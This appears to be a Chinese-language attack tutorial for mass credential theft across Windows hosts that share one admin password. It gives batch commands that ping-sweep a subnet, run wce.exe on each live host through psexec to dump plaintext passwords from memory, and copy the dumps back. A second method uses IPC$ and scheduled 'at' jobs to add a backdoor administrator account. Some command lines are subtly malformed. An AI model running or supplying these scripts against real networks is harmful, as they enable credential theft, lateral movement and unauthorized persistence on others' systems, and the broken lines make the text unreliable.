当前环境:知道网内多个主机的默认密码(管理员),每台主机会有不同用户登录进来,现在想读取登录到主机其他用户的密码,但主机太多不想一个一个登录进去读密码。


1.psexec

解决办法如下:(批量链接抓取内存中的明文密码)

首先应用场景:多台windows主机使用同一密码的情况(例如网内如果用了虚拟化产品)

for /l %%i in (1,1,253) do echo 192.168.1.%%i >>ip.txt (按网段生成ip列表,现在的环境254为网关,所以地址到253止)
for /f %%i in (ip.txt) do ping -n 1 -w 10 %%i | find /i "ttl" >nul && echo %%i >>ok.txt (判断存活主机,同网段内一般是不禁ping的)
del ip.txt
for /f %%i in (ok.txt) do psexec \\%%i -u 用户名 -p 密码 -c wce.exe -w -o %%i.txt && move /y \\%%i\admin$\system32\%%i.txt .\ip\

(从存活的主机列表里逐个按已知帐号密码尝试远程执行命令,psexec -c参数是复制并执行wce.exe,执行完会自动删除wce.exe,-w读取明文帐号密码 -o保存到以ip命名的文件,然后将文件剪切到本地)

del ok.txt
cd ip
for %i in (*) do for /f %j in (%i) do echo %j >>ok.txt(将多个文件合并)
for /f %i in (ok.txt) do findstr "%i"  "result.txt" >nul || echo %i >>result.txt(去重)


tips:

psexec: 是在指定的一台或多台计算机上运行应用程序

wce.exe:从内存当中获取明文的工具



还要另外一种不用psexec工具的方法

2.IPC

写个bat

循环读取txt中的主机

ipc连接过去

复制读密码的工具和一个运行工具的bat过去

创建和运行计划任务或者使用at命令

等待2秒

复制结果文件回来

删除目标上面的文件

断开连接

例子(用于添加用户)

net use //1.1.1.1/c$ "用户名" /user:"密码"
echo net user fuckuser Passw0rd! /add >c:\1.bat & net localgroup administrators fuckuser /add >> c:\1.bat
copy 1.bat \\1.1.1.1\c$\
net time \\1.1.1.1
at \\1.1.1.1  11:30  c:\1.bat